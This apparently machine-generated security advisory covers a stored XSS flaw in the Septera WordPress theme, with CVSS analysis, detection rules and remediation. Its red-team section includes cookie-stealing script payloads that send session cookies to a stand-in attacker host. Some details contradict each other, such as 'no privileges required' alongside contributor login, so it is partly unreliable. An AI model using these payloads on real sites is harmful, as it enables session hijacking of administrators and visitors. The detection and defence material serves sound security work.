CVE-2024-45452

Executive Summary

CVE-2024-45452 is a Stored Cross-Site Scripting (XSS) vulnerability in the Septera WordPress theme by Cryout Creations, affecting versions up to and including 1.5.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into theme settings or content fields. This can lead to session hijacking, defacement, or redirection of site visitors. The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since Septera is a PHP-based theme, the risk extends to any WordPress installation using the affected version. Organizations should verify their theme version and apply any available updates from Cryout Creations. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but exploitation requires user interaction (UI:R)
• User Interaction: Required (UI:R) – victim must visit a crafted page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires user interaction and authenticated access to inject the payload, but once stored, it can affect all visitors. The lack of a patch and public exploit increases the urgency for defensive monitoring.

Deep Dive & Mechanics

The Septera theme fails to sanitize or escape user input when rendering theme options, customizer settings, or post content. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as custom CSS, header/footer scripts, or widget areas. When an administrator or visitor loads a page containing the injected payload, the script executes in the context of the victim’s browser.

Root Cause: The theme uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html, wp_kses_post). This allows arbitrary HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker navigates to a theme setting or post editor that lacks proper sanitization.
3. Attacker injects a payload such as <script>alert('XSS')</script>.
4. Payload is stored in the database.
5. Victim (admin or visitor) loads the affected page.
6. Payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Septera <= 1.5.1):

// In theme's customizer or settings output
echo $theme_option_value;

Patched Code (Hypothetical Fix):

// Properly escape output
echo esc_html( $theme_option_value );

The vulnerable code directly outputs user-controlled data without escaping. The patched version uses esc_html() to neutralize HTML/JavaScript. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Septera theme <= 1.5.1
• Attacker account with contributor-level privileges or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Appearance > Customize or Posts > Add New.
3. In a vulnerable field (e.g., custom CSS or post content), inject:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the changes.
5. Craft a phishing link or wait for an admin to visit the page.
6. The admin’s cookie is exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

Detection & Prevention:

• Monitor for unusual changes to theme options or posts by low-privileged users.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to detect XSS patterns.
• Restrict contributor roles from editing theme settings.

Honeypot Setup:

• Deploy a decoy WordPress instance with Septera theme.
• Monitor for XSS payloads in customizer logs.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie= or document.cookie.
• Host: Presence of <script> tags in theme options or post content in the database.
• Logs: WordPress audit logs showing changes to theme customizer by non-admin users.
• File: Modified wp-content/themes/septera/*.php files with injected JavaScript.

Example IOC (Database Query):

SELECT * FROM wp_options WHERE option_name LIKE '%septera%' AND option_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2024_45452_Septera_XSS {
    meta:
        description = "Detects Septera theme files with potential XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45452"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $vuln_function = /echo\s*\$[a-zA-Z_]+/
    condition:
        $vuln_function and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Septera Theme Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Septera theme options
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        ObjectName|contains: 'septera'
        ObjectValue|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in theme settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45452 Septera Stored XSS Payload"; flow:to_server,established; content:"<script>"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Theme: If a patched version becomes available, update immediately. Currently, no patch exists.
2. Disable Theme: Temporarily switch to a different, actively maintained theme.
3. Restrict User Roles: Remove contributor-level access from untrusted users.
4. Web Application Firewall: Deploy WAF rules to block XSS payloads in POST requests.

Long-Term Measures:

• Implement input validation and output escaping in all custom themes.
• Regularly audit WordPress installations for vulnerable plugins/themes.
• Use security plugins like Wordfence to monitor for XSS attempts.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.